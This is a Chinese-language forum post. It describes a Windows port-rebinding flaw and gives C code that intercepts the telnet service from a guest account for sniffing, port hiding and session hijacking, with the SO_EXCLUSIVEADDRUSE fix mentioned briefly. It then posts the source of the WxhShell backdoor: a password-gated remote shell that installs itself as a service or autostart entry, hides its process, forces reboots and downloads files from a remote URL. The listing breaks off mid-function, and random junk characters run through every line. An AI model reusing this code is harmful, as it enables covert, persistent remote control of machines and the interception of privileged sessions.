社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 13027阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: kg3ppt  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ,-@5NY1q  
7UKYmJk.  
  saddr.sin_family = AF_INET; *zy'#`>  
x5OC;OQc  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 1kmQX+f  
^YKy9zkTl  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Ziz=]D_  
w>qCg XU3  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 (S oo<.9~  
H0a -(  
  这意味着什么?意味着可以进行如下的攻击: , H2YpZk  
ANMYX18M  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 0KAj]5nvb  
^mg*;8e Ga  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) [T`}yb@  
3sFeP &  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 DZe}y^F  
Fc8E Y*  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  `5'2Hg+  
''S&e  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 -#?<05/C>  
qzK("d  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 xQu eE{  
aI(>]sWJ  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 K)S;:MLG=  
z856 nl  
  #include Q> 8pP\ho  
  #include rGlRAn#?,  
  #include s t/n"HQ  
  #include    \dq!q=b\  
  DWORD WINAPI ClientThread(LPVOID lpParam);   R#(G%66   
  int main() 4DLq}v  
  { vG Vd  
  WORD wVersionRequested; "+|L_iuNQ  
  DWORD ret; s&'BM~WI  
  WSADATA wsaData; Bf]$X>d  
  BOOL val; q* !3C  
  SOCKADDR_IN saddr; [$a<b/4  
  SOCKADDR_IN scaddr; 5| w&dM  
  int err; )NT5yF,m  
  SOCKET s; n.hElgkUOr  
  SOCKET sc; 59*M"1['Q  
  int caddsize; \M(* =5  
  HANDLE mt; M)!skU   
  DWORD tid;   !QEL"iJ6M'  
  wVersionRequested = MAKEWORD( 2, 2 ); U,; xZe  
  err = WSAStartup( wVersionRequested, &wsaData ); H"CUZ  
  if ( err != 0 ) { 6;oe=Q:Q  
  printf("error!WSAStartup failed!\n"); ;GsQR+en  
  return -1; A+ 0,i  
  } E'c%d[:H,  
  saddr.sin_family = AF_INET; ;=jr0\|e  
   &|5GB3H =  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 },c,30V'  
# |^^K!%  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Cd]/  
  saddr.sin_port = htons(23); GBP-V66  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ._ CP% R  
  { ?4[H]BK  
  printf("error!socket failed!\n"); :\yc*OtX  
  return -1; u3ZCT" !  
  } DQJG,?e{  
  val = TRUE; pCU*@c!  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 I^3:YVR&  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) &~-~5B|3"  
  { 1S$h<RIPAc  
  printf("error!setsockopt failed!\n"); 2cf' ,cv@8  
  return -1; 2~c~{ jl\  
  } Yck~xt&]  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; q\$6F)ha3  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 cxP6-tV%  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 c ~F dx  
naNyGE7)  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) TJy4<rb  
  { >dQK.CG  
  ret=GetLastError(); Bct"X#W|&  
  printf("error!bind failed!\n"); N.j "S'(i  
  return -1; |(% u}V?  
  } Zzj0\? Ul  
  listen(s,2); `v nJ4*  
  while(1) wW`}VKu  
  { A6UO0lyu  
  caddsize = sizeof(scaddr); uDayBaR  
  //接受连接请求 ^O6* e]C$  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); !/I0i8T  
  if(sc!=INVALID_SOCKET) RT*5d;l0  
  { nr2r8u9r  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Llz[ '"m  
  if(mt==NULL) HDIk9WC^  
  { UUtbD&\  
  printf("Thread Creat Failed!\n"); <I=$ry6 8  
  break; cH D%{xlb  
  } "uD= KlA  
  } ZR3nK0  
  CloseHandle(mt);  7}B   
  } . (`3JQ2s  
  closesocket(s); lCb+{OB  
  WSACleanup(); y79qwM.  
  return 0; c-CYdi@  
  }   KN[d!}W:  
  DWORD WINAPI ClientThread(LPVOID lpParam) 6C-YyI#s#  
  { !3}deY8;#  
  SOCKET ss = (SOCKET)lpParam; >HTbegi  
  SOCKET sc; I cF@F>>  
  unsigned char buf[4096]; 85]SC$  
  SOCKADDR_IN saddr; `M@Ak2gcR+  
  long num; ..KwTf  
  DWORD val; k#)Ad*t  
  DWORD ret; t})$lM  
  //如果是隐藏端口应用的话,可以在此处加一些判断 7_\Mwy{P  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   g+[kde;(^  
  saddr.sin_family = AF_INET; kv?|'DN  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); -{g~TUz  
  saddr.sin_port = htons(23); <GIwRVCU  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) raB+,Oi$G  
  { 0[a}n6X Tk  
  printf("error!socket failed!\n"); P-Su5F  
  return -1; 2x} 6\t  
  } /c-nE3+rn  
  val = 100; ,Og4 ?fS  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) J|QiH<  
  { ]/dVRkZeAE  
  ret = GetLastError(); ~+n,1]W_  
  return -1; BWq/TG=>  
  } d?L\pN&  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) .BZVX=x  
  { FGanxv@15  
  ret = GetLastError(); 3h=8"lRc  
  return -1; "pvZ,l>8f  
  } mLwY]2T"  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) $H2GbZ-I  
  { M}F~_S0h  
  printf("error!socket connect failed!\n"); }ot"Sx\.  
  closesocket(sc); d@kc[WLD^  
  closesocket(ss); FJS'G^  
  return -1; pP/@  
  } ')#,X^   
  while(1) TZB+lj1  
  { x8[MP?Wz  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 >bm|%Ou"  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录  Ewo~9 4{  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 1]OSWCEm*[  
  num = recv(ss,buf,4096,0); UuJjO^t  
  if(num>0) *^XbDg9  
  send(sc,buf,num,0); (GU9p>2  
  else if(num==0) DJ;g|b  
  break; 4tc:.  
  num = recv(sc,buf,4096,0); )ly ^Ox  
  if(num>0) g`,AaWlF  
  send(ss,buf,num,0); ;Ss$2V'a  
  else if(num==0) >1|g5  
  break; -q>^ALf|@>  
  } /g.]RY+u|x  
  closesocket(ss); Tj/GClD:%  
  closesocket(sc); ;!u;!F!i  
  return 0 ; Kn}ub+ "J  
  } dbF M,"^  
:Ml7G  
l?E|R Kp  
========================================================== 9%DT0.D}$j  
9y]J/1#  
下边附上一个代码,,WXhSHELL =,/D/v$m'2  
#$1$T  
========================================================== 4E3g,%9u  
ecHP &Z$  
#include "stdafx.h" Wk7WK` >i  
#G;X' BN  
#include <stdio.h> t9 F=^)s  
#include <string.h> BGWAh2w6  
#include <windows.h> n9UKcN-  
#include <winsock2.h> 3'eG ;<F  
#include <winsvc.h> i^2IW&+}e}  
#include <urlmon.h> %|IUqjg  
X;GfPw.m  
#pragma comment (lib, "Ws2_32.lib") !~ rt:Z  
#pragma comment (lib, "urlmon.lib") 4u1KF:g  
isK;mU?<  
#define MAX_USER   100 // 最大客户端连接数 ~brFo2  
#define BUF_SOCK   200 // sock buffer $:vkX   
#define KEY_BUFF   255 // 输入 buffer QZYU0; VF  
*Xr$/N  
#define REBOOT     0   // 重启 zK5bO= 0j  
#define SHUTDOWN   1   // 关机 .{so  
}C#3O{5  
#define DEF_PORT   5000 // 监听端口 oyeG$mpg  
YD_]!HK}  
#define REG_LEN     16   // 注册表键长度 AFm1t2,+;  
#define SVC_LEN     80   // NT服务名长度 Y 62r  
AXW!]=?X  
// 从dll定义API nWgv~{,x  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 7TWNB{ K_  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Sp?NfJ\Ie  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); o$J6 ~dn  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); RUXCq`)"<  
+x1/-J8_sg  
// wxhshell配置信息 0|Uc d  
struct WSCFG { hnxc`VX>g  
  int ws_port;         // 监听端口 l5O=VqCj  
  char ws_passstr[REG_LEN]; // 口令 FC>d_=V  
  int ws_autoins;       // 安装标记, 1=yes 0=no #g v4  
  char ws_regname[REG_LEN]; // 注册表键名 {NQo S"  
  char ws_svcname[REG_LEN]; // 服务名 ?pwE0N^  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ?0vNEz[  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 AU{:;%.g  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 - q@69q  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 8;zDg$ (  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" v'9m7$  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 AK/:I>M  
|nxdB&1n  
}; 5 2Hqu>  
Mq\~`8V  
// default Wxhshell configuration '044Vm;/  
struct WSCFG wscfg={DEF_PORT, optBA3@e!  
    "xuhuanlingzhe", z +VV}:Q  
    1,  s>[{}7ca  
    "Wxhshell", p@I9< ^"  
    "Wxhshell", |E^|X!+9  
            "WxhShell Service", /1.rz{wpb  
    "Wrsky Windows CmdShell Service", ( $d4:Ww  
    "Please Input Your Password: ", Ps>&"k$T  
  1, kC$I2[t!  
  "http://www.wrsky.com/wxhshell.exe", J!p<oW)a!  
  "Wxhshell.exe" 0HibY[_PbD  
    }; BQNp$]5s  
?q$P>guH6-  
// 消息定义模块 8wFn}lw&  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; P6Xp<^%E  
char *msg_ws_prompt="\n\r? for help\n\r#>"; w|Qd`  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; v\0^mp  
char *msg_ws_ext="\n\rExit."; gGfq6{9g  
char *msg_ws_end="\n\rQuit."; =/Juh7[C  
char *msg_ws_boot="\n\rReboot..."; uqZ3Hyb  
char *msg_ws_poff="\n\rShutdown..."; ,2zKQ2z  
char *msg_ws_down="\n\rSave to "; m&El)  
3|eUy_d3  
char *msg_ws_err="\n\rErr!"; 9g@NcJ]  
char *msg_ws_ok="\n\rOK!"; -Ktwo_ V*  
0m=(W^c  
char ExeFile[MAX_PATH]; dY'Y5Th~  
int nUser = 0; JvJ;bFXD  
HANDLE handles[MAX_USER]; Q[_Ni15  
int OsIsNt; J/kH%_ >Ir  
w}k B6o]  
SERVICE_STATUS       serviceStatus; ?r3e*qJGn  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; "c Pz|~  
QJXdb]Y^;  
// 函数声明 8/q*o>[?  
int Install(void); O@,i1ha%  
int Uninstall(void); YFvgz.>QE  
int DownloadFile(char *sURL, SOCKET wsh); Z_itu73I  
int Boot(int flag); wn84?$BGd  
void HideProc(void); e,Zv]Cym  
int GetOsVer(void); v5 Y)al@  
int Wxhshell(SOCKET wsl); Xb<)LHA~3  
void TalkWithClient(void *cs); rPTfpeqN)  
int CmdShell(SOCKET sock); 0yQe5i}  
int StartFromService(void); g i4  
int StartWxhshell(LPSTR lpCmdLine); yq6LH   
ETelbj;0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ^5x4q  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ^!uO(B&  
2"M_sL  
// 数据结构和表定义 Au=kSSB  
SERVICE_TABLE_ENTRY DispatchTable[] = aBlbg3q  
{ 78w4IICk  
{wscfg.ws_svcname, NTServiceMain}, ^[TOZXL`:  
{NULL, NULL} *k6$   
}; P^4'|#~2T  
=|JKu'  
// 自我安装 gA+YtU{z  
int Install(void) hht+bpHl  
{ X[{\ 3Av  
  char svExeFile[MAX_PATH]; h/=-tr  
  HKEY key; Y6;@/[_  
  strcpy(svExeFile,ExeFile); cVg$dt  
=,E'~P  
// 如果是win9x系统,修改注册表设为自启动 a71}y;W  
if(!OsIsNt) { me$$he  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8Mb$+^zU  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); M6x;BjrV  
  RegCloseKey(key); Y[,U_GX/R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8;.` {'r  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9OZ>y0)K~  
  RegCloseKey(key); opnkmM&[  
  return 0; z1qUz7  
    } 05g?jV  
  } my=~"bw4  
} -faw:  
else { #tP )-ww  
Iq@IUFpc7~  
// 如果是NT以上系统,安装为系统服务 ULrbQ}"cva  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); %w@ig~vD'  
if (schSCManager!=0) ASM1Y]'Z  
{ rr4 _8Rf  
  SC_HANDLE schService = CreateService 't ;/,+:V  
  ( g4T3?"xMB_  
  schSCManager, U%Ol^xl  
  wscfg.ws_svcname, jL2MW(d^Q  
  wscfg.ws_svcdisp, T-!|l7V~f  
  SERVICE_ALL_ACCESS, N$ *>suQ,  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 4SBLu%=s%  
  SERVICE_AUTO_START, J ZNyC!u  
  SERVICE_ERROR_NORMAL, dr>]+H=3E  
  svExeFile, cWc$ yE'  
  NULL, ]Y$&78u8t  
  NULL, o"f%\N0_8  
  NULL, C7T;;1P?  
  NULL, LVWxd}0  
  NULL yOM -;h  
  ); 5I_hh?N4Z  
  if (schService!=0) "pl[(rc+u  
  { *<;&>w8  
  CloseServiceHandle(schService); =mAGD*NKu  
  CloseServiceHandle(schSCManager); ]X4RnV55Q  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); &U8 54  
  strcat(svExeFile,wscfg.ws_svcname); ur`}v|ZY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { @US '{hO1p  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ~.!?5(AH8z  
  RegCloseKey(key); /$<JCNGv  
  return 0; +Hi{ /{k0N  
    } uk1v7# p  
  } " gwm23Rpj  
  CloseServiceHandle(schSCManager); n *Q4G}p  
} W>VAbm  
} 0L 7@2|a0  
t2m  ^  
return 1; s+Cl  
} ?WMi S]Q\  
_4!7 zW^  
// 自我卸载 O]4W|WI3  
int Uninstall(void) #SK#k<&P  
{ ~c9vdK  
  HKEY key; #{?m  
sCL/pb]  
if(!OsIsNt) { Yoj~|qL  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >^sz5d+X  
  RegDeleteValue(key,wscfg.ws_regname); JJ*0M(GG  
  RegCloseKey(key); XC 57];-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1h& )I%`?  
  RegDeleteValue(key,wscfg.ws_regname); P=}H1 #  
  RegCloseKey(key); zl,bMtQ  
  return 0; M55e=  
  } %y!   
} B/:>{2cm  
} ~7KynE  
else { -aTg>Q|g&  
a  [0N,t  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); \>w@=bq26  
if (schSCManager!=0) #a/n5c&6/  
{ G >I.  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); dawVE O  
  if (schService!=0) 5Q2TT $P  
  { z2"2tFK  
  if(DeleteService(schService)!=0) { W8\PCXnsfl  
  CloseServiceHandle(schService); F<H`8*q9  
  CloseServiceHandle(schSCManager); %'$cH$%~J  
  return 0; *#3voJjV(  
  } b0rt.XB  
  CloseServiceHandle(schService); =]2 b8  
  } 1"*Nb5s  
  CloseServiceHandle(schSCManager); U1OLI]P  
} O1l4gduN|i  
} #J'Z5)i|  
D>,$c  
return 1; (e>RNn\  
} 8HHgN`_  
]Hv*^Bak  
// 从指定url下载文件 _.oRVYK /  
int DownloadFile(char *sURL, SOCKET wsh) ;D %5 nnr  
{ rPrEEWS0)  
  HRESULT hr; >Rx8 0  
char seps[]= "/"; 2_B;  
char *token;  3D[:Rf[  
char *file; <yX@@8  
char myURL[MAX_PATH]; q(w1VcLZ  
char myFILE[MAX_PATH]; q[Sp|C6x  
Q{(,/}kA-  
strcpy(myURL,sURL); Ae,2Xi  
  token=strtok(myURL,seps); b{9HooQ{  
  while(token!=NULL) ORFr7a'K  
  { !>"INmz  
    file=token; f@,hO5h(_|  
  token=strtok(NULL,seps); >TH-Q[  
  } c +"O\j'  
{VrAh*#h  
GetCurrentDirectory(MAX_PATH,myFILE); .q~,.yI&j  
strcat(myFILE, "\\"); #b<lt'gC  
strcat(myFILE, file); T-<>)N5y  
  send(wsh,myFILE,strlen(myFILE),0); uv_P{%TK  
send(wsh,"...",3,0); ;m M\, {Z  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 6+{nw}e8  
  if(hr==S_OK) ~CjmYP'o  
return 0; O(:u(U7e  
else tZ*f~yW  
return 1; &~D.")Dz  
:IOn`mRYu  
} x 1 R!  
:&\E\9  
// 系统电源模块 `tUeT[  
int Boot(int flag) T`(;;%  
{ B7x"ef  
  HANDLE hToken; eO"\UDBV  
  TOKEN_PRIVILEGES tkp; } SWA|x  
'J&@jp  
  if(OsIsNt) { cfO^CC  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); )f_"`FH0d  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); k[^}ld[  
    tkp.PrivilegeCount = 1; fmT3Afl5c  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 3n=O8Fp  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); !W6    
if(flag==REBOOT) { *N&^bF"SF  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 7lBQd(  
  return 0; F#3$p$;B$  
} b;t}7.V'%  
else { gE]a*TOZk  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) XV0<pV>  
  return 0; {0m[:af&  
} E<fwl1<88  
  } n"Z,-./m  
  else { ?\/dfK:!  
if(flag==REBOOT) { [{d[f|   
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) - KoA[UJ  
  return 0; O#89M%  
} p-i]l.mT5  
else { *T}dv)8  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 6nhfI\q3wY  
  return 0; ]#Z$jq{,  
} Q& unA3  
} bvxxE/?Ni  
/=O+/)l`  
return 1; mc[_> [m  
} Y-q,Ovf!  
@,f,tk=\S  
// win9x进程隐藏模块 J*W;{Vty  
void HideProc(void) ;7hX0AK  
{ hdNZ":1s  
bI6V &Dd  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); \T#(rt\j  
  if ( hKernel != NULL ) nms<6kfzL  
  { p Z|nn  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 2 3XAkpzp$  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); B?zS_Ue  
    FreeLibrary(hKernel); kgI.kT(=  
  } 1(\I9L&J   
2%No>w}/2  
return; ]nr BmKB  
} t$kf'An}/  
xhoLQD  
// 获取操作系统版本 H2t pP~!G  
int GetOsVer(void) c Dh4@V  
{ 5)zj){wL  
  OSVERSIONINFO winfo; H1c|b !C  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); aDJjVD  
  GetVersionEx(&winfo); WFc[F`b  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) W$ d{  
  return 1; 7^ Q$pT>  
  else i?s&\3--Y  
  return 0; 07WIa@Q  
} sNan"  
sN \}Q#:8  
// 客户端句柄模块 nQ(:7PFa'  
int Wxhshell(SOCKET wsl) x_^OS"h-  
{ 0 6v5/Xf  
  SOCKET wsh; j9 &AMg  
  struct sockaddr_in client; whp\*]8  
  DWORD myID; U\!LZ?gC  
MxvxY,~{0  
  while(nUser<MAX_USER) .$E~.6J %i  
{ #(wz l  
  int nSize=sizeof(client); VBj;2~Xj4h  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); K &~#@I;  
  if(wsh==INVALID_SOCKET) return 1; }n&JZ`8<s  
1*`JcUn,>  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); #z54/T  
if(handles[nUser]==0) 4O,a`:d1$6  
  closesocket(wsh); PI<s5bns {  
else Mm[1Z;H  
  nUser++; |\L,r}1N  
  } w"Y55EURB  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); zyQEz#O   
.6-o?=5  
  return 0; |k9j )Hg(  
} $TW+LWb   
LCm}v&~%A  
// 关闭 socket yA)+-  
void CloseIt(SOCKET wsh) {*P7)  
{ 9(gOk  
closesocket(wsh); u2Z^iY  
nUser--; :s5<AT Q  
ExitThread(0); Ku,A}5-6  
} 9%'HB\A  
}[R@HmN   
// 客户端请求句柄 t;PnjCD<`  
void TalkWithClient(void *cs) s*U&[7P  
{ 4!RI2?4V  
_A0avMD}  
  SOCKET wsh=(SOCKET)cs; c!FjHlAnP  
  char pwd[SVC_LEN]; J_br%AG<p  
  char cmd[KEY_BUFF]; -2u+m  
char chr[1]; ,rPyXS9Sa{  
int i,j; OL+40J  
>qGR^yvb  
  while (nUser < MAX_USER) { 1|$Rzt%ge  
\$Qm2XKrK  
if(wscfg.ws_passstr) { g. VIe  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #)eJz1~  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); T#;*I#A:  
  //ZeroMemory(pwd,KEY_BUFF); 2Mi;}J1C{  
      i=0; z:,!yU c  
  while(i<SVC_LEN) { > <[.  
}^bL'  
  // 设置超时 3 AF]en  
  fd_set FdRead; |(8h:g  
  struct timeval TimeOut; bM_(`]&*  
  FD_ZERO(&FdRead); J0 z0%p   
  FD_SET(wsh,&FdRead); ">^]^wa08  
  TimeOut.tv_sec=8; >~8Df61o`  
  TimeOut.tv_usec=0; b4OR`dd*J  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 31\^9w__8  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); cr;`0  
:iC\#i]6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); VNot4 62L  
  pwd=chr[0]; 1:Gd{z  
  if(chr[0]==0xd || chr[0]==0xa) { %*; 8m'  
  pwd=0; c|a|z}(/J  
  break; `lOoT  
  } Xr;noV-X  
  i++; W3j|%  
    } r6_a%A*  
=_:L wmI  
  // 如果是非法用户,关闭 socket 6M|%nBN$|  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); c<x6_H6[8  
} HcUz2Rm5XP  
K1WoIv<Ym  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); uzA'D~)P  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @z RB4d$  
4}FfHgpQ  
while(1) {  0PbIWy'  
*}&aK}h}I  
  ZeroMemory(cmd,KEY_BUFF); 4V3 w$:,  
NUtyUv  
      // 自动支持客户端 telnet标准   ~n 9DG>a  
  j=0;  aj B  
  while(j<KEY_BUFF) { ',%&DA2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $yK!Q)e:  
  cmd[j]=chr[0]; p~co!d.q/}  
  if(chr[0]==0xa || chr[0]==0xd) { d9( Sj?  
  cmd[j]=0; 4>#^Pk?Ra  
  break; ;a)\5Uy  
  } 8dB~09Z7  
  j++; F}[;ytmUS  
    } 0)44*T  
K0@7/*%  
  // 下载文件 Br!&Y9  
  if(strstr(cmd,"http://")) { X*q C:]e  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); R/YL1s  
  if(DownloadFile(cmd,wsh)) 3?(p;  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); !AHm+C_=Lg  
  else _q$ fw&  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .?j8{>  
  } O{R5<"g  
  else { jG :R\D}0  
FI5C&d5d  
    switch(cmd[0]) { ?R}oXSVT  
  s~w+bwr  
  // 帮助 cyE2=  
  case '?': { C^tC} n1D(  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); _4]dPk#^  
    break; l d9#4D[#  
  } O~xmz!?=  
  // 安装 #4u; `j"4=  
  case 'i': { zghm2{:`?g  
    if(Install()) qm8RRDG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d2C:3-4  
    else d(Ou\7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B6o AW,3  
    break; OK}"|:hrd  
    } F# wa)XH  
  // 卸载 z+I-3v  
  case 'r': { b1o(CG(}*  
    if(Uninstall()) =SnR9In  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &O)mPnx`  
    else ,oe{@ z{*@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Dw3! ibg  
    break; 7A-rF U$  
    } 7mNskb|  
  // 显示 wxhshell 所在路径 ^*Fkt(ida  
  case 'p': { M3kE91  
    char svExeFile[MAX_PATH]; 20)Il:x  
    strcpy(svExeFile,"\n\r"); #!Fs[A5%  
      strcat(svExeFile,ExeFile); 7:%K-LeaQu  
        send(wsh,svExeFile,strlen(svExeFile),0); A-$BB=Ot  
    break; i=+6R  
    } I:"`|eHxv  
  // 重启 AK =k@hT  
  case 'b': { 5?MvO]_  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); <|iU+.j\  
    if(Boot(REBOOT)) ')V5hKb^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -y( V-  
